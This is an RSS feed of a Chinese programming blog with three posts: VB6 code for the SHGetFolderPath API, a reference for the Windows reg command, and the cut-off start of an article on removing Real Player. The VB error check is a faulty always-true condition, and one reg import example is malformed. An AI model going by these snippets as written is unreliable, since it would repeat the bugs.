<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>奇风&#039;s Blog &#187; 设计代码</title>
	<atom:link href="http://blog.duoday.com/category/%e8%ae%be%e8%ae%a1%e4%bb%a3%e7%a0%81/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.duoday.com</link>
	<description>我的地盘我做主</description>
	<lastBuildDate>Mon, 26 Jul 2010 16:39:36 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>关于Environ函数</title>
		<link>http://blog.duoday.com/2009/278.html</link>
		<comments>http://blog.duoday.com/2009/278.html#comments</comments>
		<pubDate>Thu, 12 Feb 2009 16:32:37 +0000</pubDate>
		<dc:creator>奇风</dc:creator>
				<category><![CDATA[设计代码]]></category>
		<category><![CDATA[Environ]]></category>

		<guid isPermaLink="false">http://blog.duoday.com/2009/278.html</guid>
		<description><![CDATA[我们经常接触的获取路径的API有GetWindowsDirectory()、GetSystemDirectory()，但是还有一个API叫SHGetFolderPath很少有人用，它可获取的系统路径更多，例如：
Option Explicit
Private Const MAX_PATH = 260
&#8216;Return Values
Private Const S_FALSE = &#38;H1
Private Const E_INVALIDARG = &#38;H80070057
&#8216;Flags
Private Const SHGFP_TYPE_CURRENT = 0 &#8216; current value for user, verify it exists
Private Const SHGFP_TYPE_DEFAULT = 1 &#8216; default value, may not exist
&#8216;nFolder Value
Private Const CSIDL_DESKTOP = &#38;H0 &#8216;
Private Const CSIDL_INTERNET = &#38;H1 &#8216; Internet Explorer (icon on desktop)
Private Const CSIDL_PROGRAMS [...]]]></description>
			<content:encoded><![CDATA[<p>我们经常接触的获取路径的API有GetWindowsDirectory()、GetSystemDirectory()，但是还有一个API叫SHGetFolderPath很少有人用，它可获取的系统路径更多，例如：<br />
Option Explicit</p>
<p>Private Const MAX_PATH = 260</p>
<p>&#8216;Return Values<br />
Private Const S_FALSE = &amp;H1<br />
Private Const E_INVALIDARG = &amp;H80070057</p>
<p>&#8216;Flags<br />
Private Const SHGFP_TYPE_CURRENT = 0 &#8216; current value for user, verify it exists<br />
Private Const SHGFP_TYPE_DEFAULT = 1 &#8216; default value, may not exist</p>
<p>&#8216;nFolder Value<br />
Private Const CSIDL_DESKTOP = &amp;H0 &#8216;<br />
Private Const CSIDL_INTERNET = &amp;H1 &#8216; Internet Explorer (icon on desktop)<br />
Private Const CSIDL_PROGRAMS = &amp;H2 &#8216; Start Menu\Programs<br />
Private Const CSIDL_CONTROLS = &amp;H3 &#8216; My Computer\Control Panel<br />
Private Const CSIDL_PRINTERS = &amp;H4 &#8216; My Computer\Printers<br />
Private Const CSIDL_PERSONAL = &amp;H5 &#8216; My Documents<br />
Private Const CSIDL_FAVORITES = &amp;H6 &#8216; \Favorites<br />
Private Const CSIDL_STARTUP = &amp;H7 &#8216; Start Menu\Programs\Startup<br />
Private Const CSIDL_RECENT = &amp;H8 &#8216; \Recent<br />
Private Const CSIDL_SENDTO = &amp;H9 &#8216; \SendTo<span id="more-278"></span><br />
Private Const CSIDL_BITBUCKET = &amp;HA &#8216; \Recycle Bin<br />
Private Const CSIDL_STARTMENU = &amp;HB &#8216; \Start Menu<br />
Private Const CSIDL_MYDOCUMENTS = &amp;HC &#8216; logical &#8220;My Documents&#8221; desktop icon<br />
Private Const CSIDL_MYMUSIC = &amp;HD &#8216; &#8220;My Music&#8221; folder<br />
Private Const CSIDL_MYVIDEO = &amp;HE &#8216; &#8220;My Videos&#8221; folder<br />
Private Const CSIDL_DESKTOPDIRECTORY = &amp;H10 &#8216; \Desktop<br />
Private Const CSIDL_DRIVES = &amp;H11 &#8216; My Computer<br />
Private Const CSIDL_NETWORK = &amp;H12 &#8216; Network Neighborhood (My Network Places)<br />
Private Const CSIDL_NETHOOD = &amp;H13 &#8216; \nethood<br />
Private Const CSIDL_FONTS = &amp;H14 &#8216; windows\fonts<br />
Private Const CSIDL_TEMPLATES = &amp;H15<br />
Private Const CSIDL_COMMON_STARTMENU = &amp;H16 &#8216; All Users\Start Menu<br />
Private Const CSIDL_COMMON_PROGRAMS = &amp;H17 &#8216; All Users\Start Menu\Programs<br />
Private Const CSIDL_COMMON_STARTUP = &amp;H18 &#8216; All Users\Startup<br />
Private Const CSIDL_COMMON_DESKTOPDIRECTORY = &amp;H19 &#8216; All Users\Desktop<br />
Private Const CSIDL_APPDATA = &amp;H1A &#8216; \Application Data<br />
Private Const CSIDL_PRINTHOOD = &amp;H1B &#8216; \PrintHood<br />
Private Const CSIDL_LOCAL_APPDATA = &amp;H1C &#8216; \Local Settings\Applicaiton Data (non roaming)<br />
Private Const CSIDL_ALTSTARTUP = &amp;H1D &#8216; non localized startup<br />
Private Const CSIDL_COMMON_ALTSTARTUP = &amp;H1E &#8216; non localized common startup<br />
Private Const CSIDL_COMMON_FAVORITES = &amp;H1F<br />
Private Const CSIDL_INTERNET_CACHE = &amp;H20<br />
Private Const CSIDL_COOKIES = &amp;H21<br />
Private Const CSIDL_HISTORY = &amp;H22<br />
Private Const CSIDL_COMMON_APPDATA = &amp;H23 &#8216; All Users\Application Data<br />
Private Const CSIDL_WINDOWS = &amp;H24 &#8216; GetWindowsDirectory()<br />
Private Const CSIDL_SYSTEM = &amp;H25 &#8216; GetSystemDirectory()<br />
Private Const CSIDL_PROGRAM_FILES = &amp;H26 &#8216; C:\Program Files<br />
Private Const CSIDL_MYPICTURES = &amp;H27 &#8216; C:\Program Files\My Pictures<br />
Private Const CSIDL_PROFILE = &amp;H28 &#8216; USERPROFILE<br />
Private Const CSIDL_SYSTEMX86 = &amp;H29 &#8216; x86 system directory on RISC<br />
Private Const CSIDL_PROGRAM_FILESX86 = &amp;H2A &#8216; x86 C:\Program Files on RISC<br />
Private Const CSIDL_PROGRAM_FILES_COMMON = &amp;H2B &#8216; C:\Program Files\Common</p>
<p>Private Const CSIDL_PROGRAM_FILES_COMMONX86 = &amp;H2C &#8216; x86 Program Files\Common on RISC<br />
Private Const CSIDL_COMMON_TEMPLATES = &amp;H2D &#8216; All Users\Templates_<br />
Private Const CSIDL_COMMON_DOCUMENTS = &amp;H2E &#8216; All Users\Documents<br />
Private Const CSIDL_COMMON_ADMINTOOLS = &amp;H2F &#8216; All Users\Start Menu\Programs\Administrative Tools<br />
Private Const CSIDL_ADMINTOOLS = &amp;H30 &#8216; \Start Menu\Programs\Administrative Tools<br />
Private Const CSIDL_CONNECTIONS = &amp;H31 &#8216; Network and Dial-up Connections<br />
Private Const CSIDL_COMMON_MUSIC = &amp;H35 &#8216; All Users\My Music<br />
Private Const CSIDL_COMMON_PICTURES = &amp;H36 &#8216; All Users\My Pictures<br />
Private Const CSIDL_COMMON_VIDEO = &amp;H37 &#8216; All Users\My Video<br />
Private Const CSIDL_RESOURCES = &amp;H38 &#8216; Resource Direcotry<br />
Private Const CSIDL_RESOURCES_LOCALIZED = &amp;H39 &#8216; Localized Resource Direcotry<br />
Private Const CSIDL_COMMON_OEM_LINKS = &amp;H3A &#8216; Links to All Users OEM specific apps<br />
Private Const CSIDL_CDBURN_AREA = &amp;H3B &#8216; USERPROFILE\Local Settings\Application Data\Microsoft\CD Burning<br />
Private Const CSIDL_COMPUTERSNEARME = &amp;H3D &#8216; Computers Near Me (computered from Workgroup membership)<br />
Private Const CSIDL_FLAG_Create = &amp;H8000 &#8216; combine with CSIDL_ value to force folder creation in SHGetFolderPath()<br />
Private Const CSIDL_FLAG_DONT_VERIFY = &amp;H4000 &#8216; combine with CSIDL_ value to return an unverified folder path<br />
Private Const CSIDL_FLAG_NO_ALIAS = &amp;H1000 &#8216; combine with CSIDL_ value to insure non-alias versions of the pidl<br />
Private Const CSIDL_FLAG_PER_USER_INIT = &amp;H800 &#8216; combine with CSIDL_ value to indicate per-user init (eg. upgrade)<br />
Private Const CSIDL_FLAG_MASK = &amp;HFF00 &#8216; mask for all possible flag values</p>
<p>Private Declare Function SHGetFolderPath Lib &#8220;shell32.dll&#8221; Alias &#8220;SHGetFolderPathA&#8221; (ByVal hwndOwner As Long, ByVal nFolder As Long, ByVal hToken As Long, ByVal dwFlags As Long, ByVal pszPath As String) As Long</p>
<p>Private Sub Command1_Click()<br />
Dim ret As Long<br />
Dim szPath As String</p>
<p>szPath = String$(MAX_PATH, 0) &#8216;初始化buffer来准备接收路径返回值</p>
<p>ret = SHGetFolderPath(0, CSIDL_PROGRAM_FILES, 0, SHGFP_TYPE_CURRENT, szPath)</p>
<p>If (ret &lt;&gt; S_FALSE) or (ret &lt;&gt; E_INVALIDARG) Then<br />
szPath = Left$(szPath, InStr(szPath, Chr$(0)) &#8211; 1) &#8216;字符串截短，去掉buffer中无用的字符</p>
<p>MsgBox szPath &#8216;显示结果<br />
End If<br />
End Sub</p>
<p>要想查询不同的路径，主要在SHGetFolderPath函数的第二个输入参数上，可查询的值见上面声名的nFolder Value部分，这些值中也包括了CSIDL_WINDOWS和CSIDL_SYSTEM，分别等效于API函数GetWindowsDirectory()和GetSystemDirectory()，SHGetFolderPath函数如果返回S_FALSE或E_INVALIDARG表示执行有错误。</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.duoday.com/2009/278.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>reg命令使用详解</title>
		<link>http://blog.duoday.com/2009/277.html</link>
		<comments>http://blog.duoday.com/2009/277.html#comments</comments>
		<pubDate>Thu, 12 Feb 2009 16:31:17 +0000</pubDate>
		<dc:creator>奇风</dc:creator>
				<category><![CDATA[设计代码]]></category>
		<category><![CDATA[reg]]></category>

		<guid isPermaLink="false">http://blog.duoday.com/2009/277.html</guid>
		<description><![CDATA[编辑注册表不当可能会严重损坏您的系统。在更改注册表之前，应备份计算机上任何有价值的数据。
只有在别无选择的情况下，才直接编辑注册表。注册表编辑器会忽略标准的安全措施，从而使得这些设置
会降低性能、破坏系统，甚至要求用
户重新安装 Windows。可以利用“控制面板”或“Microsoft 管理控制台 (MMC)”中的程序安全更改多数
注册表设置。如果必须直接编辑注册表，则请首先将其备份。
使用 Reg 直接编辑本地或远程计算机的注册表。这些更改有可能造成计算机无法操作并需要重新安装操
作系统。所以不要直接编辑注册表，而
应尽可能利用“控制面板”或“Microsoft 管理控制台 (MMC)”更改注册表。
有些操作可以查看或配置本地或远程计算机的注册表项，而另外一些则只允许配置本地计算机的注册表设
置。同时，远程访问注册表也可能会
限制用于某操作的参数。请检查每个操作的语法以便验证该操作可以用于远程计算机，以及验证可用于那
种情况下的参数。
reg命令是WindowsXP提供的,它可以添加、更改和显示注册表项中的注册表子项信息和值。
reg add
将新的子项或项添加到注册表中。
语法：reg add KeyName [/v EntryName&#124;/ve] [/t DataType] [/s separator] [/d value] [/f]
参数
KeyName
指定子项的完全路径。对于远程计算机，请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算
机名称。忽略 ComputerName 会导致默
认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及
HKCC。
/v EntryName
指定要添加到指定子项下的项名称。
/ve
指定添加到注册表中的项为空值。
/t DataType
指定项值的数据类型。DataType 可以是以下几种类型：
REG_SZ
REG_MULTI_SZ
REG_DWORD_BIG_ENDIAN
REG_DWORD
REG_BINARY
REG_DWORD_LITTLE_ENDIAN
REG_LINK
REG_FULL_RESOURCE_DESCRIPTOR
REG_EXPAND_SZ
/s separator
指定用于分隔多个数据实例的字符。当 REG_MULTI_SZ 指定为数据类型且需要列出多个项时，请使用该参
数。如果没有指定，将使用默认分隔
符为 \。
/d value
指定新注册表项的值。
/f
不用询问信息而直接添加子项或项。
/?
在命令提示符显示帮助。
注释
该操作不能添加子树。该版本的 Reg 在添加子项时无需请求确认。
下表列出了 reg add 操作的返回值。 值 说明
0 成功
1 失败
范例
下列范例说明了如何使用 reg add 命令：
reg add \hklm\software\myco /v data /t reg_binary /d fe340ead
reg add [...]]]></description>
			<content:encoded><![CDATA[<p>编辑注册表不当可能会严重损坏您的系统。在更改注册表之前，应备份计算机上任何有价值的数据。<br />
只有在别无选择的情况下，才直接编辑注册表。注册表编辑器会忽略标准的安全措施，从而使得这些设置</p>
<p>会降低性能、破坏系统，甚至要求用</p>
<p>户重新安装 Windows。可以利用“控制面板”或“Microsoft 管理控制台 (MMC)”中的程序安全更改多数</p>
<p>注册表设置。如果必须直接编辑注册表，则请首先将其备份。</p>
<p>使用 Reg 直接编辑本地或远程计算机的注册表。这些更改有可能造成计算机无法操作并需要重新安装操</p>
<p>作系统。所以不要直接编辑注册表，而</p>
<p>应尽可能利用“控制面板”或“Microsoft 管理控制台 (MMC)”更改注册表。<br />
有些操作可以查看或配置本地或远程计算机的注册表项，而另外一些则只允许配置本地计算机的注册表设</p>
<p>置。同时，远程访问注册表也可能会</p>
<p>限制用于某操作的参数。请检查每个操作的语法以便验证该操作可以用于远程计算机，以及验证可用于那</p>
<p>种情况下的参数。</p>
<p>reg命令是WindowsXP提供的,它可以添加、更改和显示注册表项中的注册表子项信息和值。</p>
<p>reg add<span id="more-277"></span><br />
将新的子项或项添加到注册表中。</p>
<p>语法：reg add KeyName [/v EntryName|/ve] [/t DataType] [/s separator] [/d value] [/f]</p>
<p>参数<br />
KeyName<br />
指定子项的完全路径。对于远程计算机，请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算</p>
<p>机名称。忽略 ComputerName 会导致默</p>
<p>认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及</p>
<p>HKCC。<br />
/v EntryName<br />
指定要添加到指定子项下的项名称。<br />
/ve<br />
指定添加到注册表中的项为空值。<br />
/t DataType</p>
<p>指定项值的数据类型。DataType 可以是以下几种类型：<br />
REG_SZ<br />
REG_MULTI_SZ<br />
REG_DWORD_BIG_ENDIAN<br />
REG_DWORD<br />
REG_BINARY<br />
REG_DWORD_LITTLE_ENDIAN<br />
REG_LINK<br />
REG_FULL_RESOURCE_DESCRIPTOR<br />
REG_EXPAND_SZ</p>
<p>/s separator<br />
指定用于分隔多个数据实例的字符。当 REG_MULTI_SZ 指定为数据类型且需要列出多个项时，请使用该参</p>
<p>数。如果没有指定，将使用默认分隔</p>
<p>符为 \。<br />
/d value<br />
指定新注册表项的值。<br />
/f<br />
不用询问信息而直接添加子项或项。<br />
/?<br />
在命令提示符显示帮助。<br />
注释<br />
该操作不能添加子树。该版本的 Reg 在添加子项时无需请求确认。<br />
下表列出了 reg add 操作的返回值。 值 说明<br />
0 成功<br />
1 失败</p>
<p>范例<br />
下列范例说明了如何使用 reg add 命令：</p>
<p>reg add \hklm\software\myco /v data /t reg_binary /d fe340ead<br />
reg add &#8220;hkcu\software\microsoft\winmine&#8221; /v Name3 /t reg_sz /d Anonymous<br />
reg add &#8220;hkcu\software\microsoft\winmine&#8221; /v Time3 /t reg_dword /d 5</p>
<p>reg compare</p>
<p>比较指定的注册表子项或项。</p>
<p>语法:reg compare KeyName1 KeyName2 [/v EntryName | /ve] {[/oa]|[/od]|[/os]|[on]} [/s]</p>
<p>参数<br />
KeyName<br />
指定子项的完全路径。对于远程计算机，请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算</p>
<p>机名称。忽略 ComputerName 会导致默</p>
<p>认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及</p>
<p>HKCC。如果指定远程计算机，则只可</p>
<p>使用 HKLM 和 HKU 子目录树。<br />
/v EntryName<br />
比较子项下的特定项。<br />
/ve<br />
指定只可以比较没有值的项。<br />
{[/oa]|[/od]|[/os]|[on]}<br />
指定不同点和匹配点的显示方式。默认设置是 /od。 值 说明<br />
/oa 指定显示所有不同点和匹配点。默认情况下，仅列出不同点。<br />
/od 指定仅显示不同点。这是默认操作。<br />
/os 指定仅显示匹配点。默认情况下，仅列出不同点。<br />
/on 指定不显示任何内容。默认情况下，仅列出不同点。</p>
<p>/s Separator<br />
比较所有子项和项。<br />
/?<br />
在命令提示符显示帮助。<br />
注释<br />
下表列出了 reg compare 操作的返回值。 值 说明<br />
0 比较成功且结果相同。<br />
1 比较失败。<br />
2 比较成功并找到不同点。</p>
<p>范例<br />
下面的范例说明了如何使用 reg compare 命令：</p>
<p>reg compare &#8220;hkcu\software\microsoft\winmine&#8221; &#8220;hkcu\software\microsoft\winmine&#8221; /od /s</p>
<p>reg copy</p>
<p>将一个注册表项复制到本地或远程计算机的指定位置。</p>
<p>语法:reg copy KeyName1 KeyName2 [/s] [/f]</p>
<p>参数<br />
KeyName1<br />
指定要复制子项的完整路径。对于远程计算机，请在 \\ComputerName\PathToSubkey 中的子项路径前包</p>
<p>含计算机名称。忽略 ComputerName 会</p>
<p>导致默认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU</p>
<p>以及 HKCC。如果指定远程计算机，</p>
<p>则只可使用 HKLM 和 HKU 子目录树。<br />
KeyName2<br />
指定子项目的地的完整路径。对于远程计算机，请在 \\ComputerName\PathToSubkey 中的子项路径前包</p>
<p>含计算机名称。忽略 ComputerName 会</p>
<p>导致默认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU</p>
<p>以及 HKCC。如果指定远程计算机，</p>
<p>则只可使用 HKLM 和 HKU 子目录树。<br />
/s<br />
复制指定子项下的所有子项和项。<br />
/f<br />
无需请求确认而直接复制子项。<br />
/?<br />
在命令提示符显示帮助。<br />
注释<br />
该版本的 Reg 在复制子项时无须请求确认。<br />
下表列出了 reg copy 操作的返回值。 值 说明<br />
0 成功<br />
1 失败</p>
<p>范例<br />
下列范例说明了如何使用 reg copy 命令：</p>
<p>reg copy &#8220;hkcu\software\microsoft\winmine&#8221; &#8220;hkcu\software\microsoft\winminebk&#8221; /s /f<br />
reg copy &#8220;hkcu\software\microsoft\winminebk&#8221; &#8220;hkcu\software\microsoft\winmine&#8221; /s</p>
<p>reg delete<br />
从注册表删除项或子项</p>
<p>语法:reg delete KeyName [{/v EntryName|/ve|/va}] [/f]</p>
<p>参数<br />
KeyName<br />
指定子项的完全路径。对于远程计算机，请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算</p>
<p>机名称。忽略 ComputerName 会导致默</p>
<p>认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及</p>
<p>HKCC。<br />
/v EntryName<br />
删除子项下的特定项。如果未指定项，则将删除子项下的所有项和子项。<br />
/ve<br />
指定只可以删除为空值的项。<br />
/va<br />
删除指定子项下的所有项。使用本参数不能删除指定子项下的子项。<br />
/f<br />
无需请求确认而删除现有的注册表子项或项。<br />
/?<br />
在命令提示符显示帮助。<br />
注释<br />
下表列出了 reg delete 操作的返回值。 值 说明<br />
0 成功<br />
1 失败</p>
<p>范例<br />
下面的范例说明了如何使用 reg delete 命令：</p>
<p>reg delete &#8220;hkcu\software\microsoft\winmine&#8221; /v Name1<br />
reg delete &#8220;hkcu\software\microsoft\winmine&#8221; /v Time1<br />
reg delete &#8220;hkcu\software\microsoft\winmine&#8221; /va</p>
<p>reg export</p>
<p>将指定子项、项和值的副本创建到文件中，以便将其传输到其它服务器。</p>
<p>语法:reg export KeyName FileName</p>
<p>参数<br />
KeyName<br />
指定子项的完全路径。Export 操作仅可在本地计算机上工作。以相应的子目录树开始路径。有效子目录</p>
<p>树为 HKLM、HKCU、HKCR、HKU 以及</p>
<p>HKCC。<br />
FileName<br />
指定要导出文件的名称和路径。该文件必须具有 .reg 扩展名。<br />
/?<br />
在命令提示符显示帮助。<br />
注释<br />
下表列出了 reg export 操作的返回值。 值 说明<br />
0 成功<br />
1 失败</p>
<p>范例<br />
下面的范例说明了如何使用 reg export 命令：</p>
<p>reg export &#8220;hkcu\software\microsoft\winmine&#8221; c:\data\regbackups\wmbkup.reg</p>
<p>reg import<br />
将包含导出的注册表子项、项和值的文件复制到本地计算机的注册表中。</p>
<p>语法:reg import FileName</p>
<p>参数<br />
FileName<br />
指定将复制到本地计算机注册表中的文件的名称和路径。必须预先使用 reg export 命令创建该文件。<br />
/?<br />
在命令提示符显示帮助。<br />
注释<br />
下表列出了 reg import 操作的返回值。 值 说明<br />
0 成功<br />
1 失败</p>
<p>范例<br />
下面的范例说明了如何使用 reg import 命令：</p>
<p>reg import hkcu\software\microsoft\winmine&#8221; c:\data\regbackups\wmbkup.reg</p>
<p>reg load<br />
将保存的子项和项写回到注册表的不同子项中。其目的是保存到一个临时文件中，而该文件可用于注册表</p>
<p>项的疑难解答或编辑注册表项。</p>
<p>语法:reg load KeyName FileName</p>
<p>参数<br />
KeyName<br />
指定子项的完全路径。对于远程计算机，请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算</p>
<p>机名称。忽略 ComputerName 会导致默</p>
<p>认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及</p>
<p>HKCC。<br />
FileName<br />
指定要加载的文件的名称和路径。必须使用带 .hiv 扩展名的 reg save 操作创建该文件。<br />
/?<br />
在命令提示符显示帮助。<br />
注释<br />
下表列出了 reg load 操作的返回值。 值 说明<br />
0 成功<br />
1 失败</p>
<p>范例<br />
下面的范例说明了如何使用 reg load 命令：</p>
<p>reg load &#8220;hkcu\software\microsoft\winminebk2&#8243; wmbkup.hiv</p>
<p>reg query<br />
返回注册表的子项下的项和下一层子项的列表。</p>
<p>语法:reg query KeyName [{/v EntryName|/ve}] [/s]</p>
<p>参数<br />
KeyName<br />
指定子项的完全路径。对于远程计算机，请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算</p>
<p>机名称。忽略 ComputerName 会导致默</p>
<p>认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及</p>
<p>HKCC。如果指定远程计算机，则只可</p>
<p>使用 HKLM 和 HKU 子目录树。<br />
/v EntryName<br />
返回特定的项及其值。该参数只返回直接位于指定子项的下一层中的项。将会找不到当前子项下的子项中</p>
<p>的项。如果省略 EntryName，则将返</p>
<p>回子项下的所有项。<br />
/ve<br />
指定仅返回为空值的项。<br />
/s<br />
将返回各个层中的所有子项和项。如果不使用该参数，将只返回下一层的子项和项。<br />
/?<br />
在命令提示符显示帮助。<br />
注释<br />
下表列出了 reg query 操作的返回值。 值 说明<br />
0 成功<br />
1 失败</p>
<p>范例<br />
下面的范例说明了如何使用 reg query 命令：</p>
<p>reg query &#8220;hklm\system\currentcontrolset\control\session manager&#8221; /v maxstacktracedepth</p>
<p>reg query &#8220;hkcu\software\microsoft\winmine&#8221; /s</p>
<p>reg restore<br />
将保存的子项和项写回到注册表。</p>
<p>语法:reg restore KeyName FileName</p>
<p>参数<br />
KeyName<br />
指定子项的完全路径。Restore 操作仅在本地计算机上工作。以相应的子目录树开始路径。有效子目录树</p>
<p>为 HKLM、HKCU、HKCR、HKU 以及</p>
<p>HKCC。<br />
FileName<br />
指定将写回到注册表中的文件的名称和路径。必须使用带 .hiv 扩展名的 reg save 操作预先创建该文件</p>
<p>。<br />
/?<br />
在命令提示符显示帮助。<br />
注释<br />
该操作用于覆盖已编辑的注册表项。编辑注册表项之前，请使用 reg save 操作保存父亲子项。如果编辑</p>
<p>失败，则可以使用本操作恢复子项。<br />
下表列出了 reg restore 操作的返回值。 值 说明<br />
0 成功<br />
1 失败</p>
<p>范例<br />
下面的范例说明了如何使用 reg restore 命令：</p>
<p>reg restore &#8220;hkcu\software\microsoft\winmine&#8221; wmbkup.hiv</p>
<p>reg save<br />
将指定的子项、项和注册表值的副本保存到指定文件中。</p>
<p>语法:reg save KeyName FileName</p>
<p>参数<br />
KeyName<br />
指定子项的完全路径。对于远程计算机，请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算</p>
<p>机名称。忽略 ComputerName 会导致默</p>
<p>认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及</p>
<p>HKCC。<br />
FileName<br />
指定所创建的文件的名称和路径。如果未指定路径，则使用当前路径。<br />
/?<br />
在命令提示符显示帮助。<br />
注释<br />
下表列出了 reg save 操作的返回值。 值 说明<br />
0 成功<br />
1 失败</p>
<p>范例<br />
下面的范例说明了如何使用 reg save 命令：</p>
<p>reg save &#8220;hkcu\software\microsoft\winmine&#8221; wmbkup.hiv</p>
<p>reg unload<br />
使用 reg load 操作删除已加载的部分注册表。</p>
<p>语法:reg unload KeyName</p>
<p>参数<br />
KeyName<br />
指定子项的完全路径。对于远程计算机，请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算</p>
<p>机名称。忽略 ComputerName 会导致默</p>
<p>认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及</p>
<p>HKCC。<br />
/?<br />
在命令提示符显示帮助。<br />
注释<br />
下表列出了 reg unload 操作的返回值。 值 说明<br />
0 成功<br />
1 失败</p>
<p>范例<br />
下面的范例说明了如何使用 reg unload 命令：</p>
<p>reg unload &#8220;hkcu\software\microsoft\winminebk2&#8243;</p>
<p>让Windows注册表修改快速生效</p>
<p>　当我们修改了注册表，许多情况下只按下F5键刷新注册表还不足以使修改生效，而需要重新启动计算机</p>
<p>。其实我们不必每次都重启机器，只</p>
<p>需运行Windows的外壳程序Explorer即可(在Windows 9x/Me和Windows 2000/XP中的操作有所不同)。</p>
<p>在Windows 9x/Me中<br />
　　按下“Ctrl+Alt+Delete”组合键，在弹出的窗口中选择“Explorer”，并点击“结束任务”按钮，</p>
<p>这时屏幕会出现“关机”菜单，不要做</p>
<p>任何操作，在再次弹出的窗口中点击“结束任务”按钮，即可让Windows在不重新启动的情况下快速刷新</p>
<p>注册表。</p>
<p>在Windows 2000/XP中<br />
　　按下“Ctrl+Alt+Delete”组合键，打开“任务管理器”，单击“进程”标签，找到并单击其中的</p>
<p>“Explorer.exe”，点击右下方的“结束</p>
<p>进程”按钮，在打开的警告对话框中单击“是”按钮。然后再单击“应用程序”标签，单击下方的“新任</p>
<p>务”按钮，在打开的“创建新任务”</p>
<p>对话框中输入“Explorer.exe”，再按下“确定”按钮即可。</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.duoday.com/2009/277.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>让Real Player从你的电脑走开</title>
		<link>http://blog.duoday.com/2008/254.html</link>
		<comments>http://blog.duoday.com/2008/254.html#comments</comments>
		<pubDate>Tue, 07 Oct 2008 22:22:21 +0000</pubDate>
		<dc:creator>奇风</dc:creator>
				<category><![CDATA[设计代码]]></category>
		<category><![CDATA[Real Player]]></category>

		<guid isPermaLink="false">http://blog.duoday.com/2008/254.html</guid>
		<description><![CDATA[近自己用VB编写一个播放RM格式的影音文件播放器，打包后，兴冲冲的拿到朋友那去，结果老是报告“超出内存”。我倒！原来朋友的机器上没有装上Real Player，大跌脸面！急忙到网上查找关于Real Player的文章，结果一无所获!
      看来只有俺亲自动手了！后来经过俺几天N2次的安装和卸载，外加方便面与白开水！终于让Real Player从电脑中走开!
     准备工作：查看系统进程的软件（如Winodws优化大师的进程管理，它可将每个软件所引用的进程全部列出，让你一览无余！）、Real Player、豪杰超级DVD2.1 。
     安装Real Player后，你会发现在Program Files\Common Files根目录下有一个Real目录下，里面分别有Codecs、Common、Plugins、Up&#100;ate、Visualizations子目录，里面都是一些动态链接文件，这个可是Real Player的核心力量
     打开豪杰的的安装目录，你会发现在豪杰的安装目录下也有Codecs、Common、Plugins比较一下，你就会发现这几个目录中的文件，全是与Program Files\Common Files相对应目录中的文件啊！
     让我们打开豪杰来播放一个RM格式的文件，然后打开Winodws优化大师的进程管理（当然用其它查看进程也可以），发现豪杰在引用Program Files\Common Files\Real目录下的文件
      发现了这个秘密，说明我们只要能够明白豪杰的大概原理，就可以做出既使客户端没有Real Player也同样如豪杰那样播放RM格式的影音文件了！
      打开注册表，在[HKEY_LOCAL_MACHINE\Software\CLASSES\Software\]和[HKEY_CLASSES_ROOT\ CLASSES\Software\]分支下都有名为RealNetworks的项（这分支下RealNetworks里面的内容是完全一样，唯一不同的是它们的支名），当我们卸载Real Player，Real [...]]]></description>
			<content:encoded><![CDATA[<p>近自己用VB编写一个播放RM格式的影音文件播放器，打包后，兴冲冲的拿到朋友那去，结果老是报告“超出内存”。我倒！原来朋友的机器上没有装上Real Player，大跌脸面！急忙到网上查找关于Real Player的文章，结果一无所获!</p>
<p>      看来只有俺亲自动手了！后来经过俺几天N2次的安装和卸载，外加方便面与白开水！终于让Real Player从电脑中走开!</p>
<p>     准备工作：查看系统进程的软件（如Winodws优化大师的进程管理，它可将每个软件所引用的进程全部列出，让你一览无余！）、Real Player、豪杰超级DVD2.1 。</p>
<p>     安装Real Player后，你会发现在Program Files\Common Files根目录下有一个Real目录下，里面分别有Codecs、Common、Plugins、Up&#100;ate、Visualizations子目录，里面都是一些动态链接文件，这个可是Real Player的核心力量</p>
<p>     打开豪杰的的安装目录，你会发现在豪杰的安装目录下也有Codecs、Common、Plugins比较一下，你就会发现这几个目录中的文件，全是与Program Files\Common Files相对应目录中的文件啊！</p>
<p>     让我们打开豪杰来播放一个RM格式的文件，然后打开Winodws优化大师的进程管理（当然用其它查看进程也可以），发现豪杰在引用Program Files\Common Files\Real目录下的文件</p>
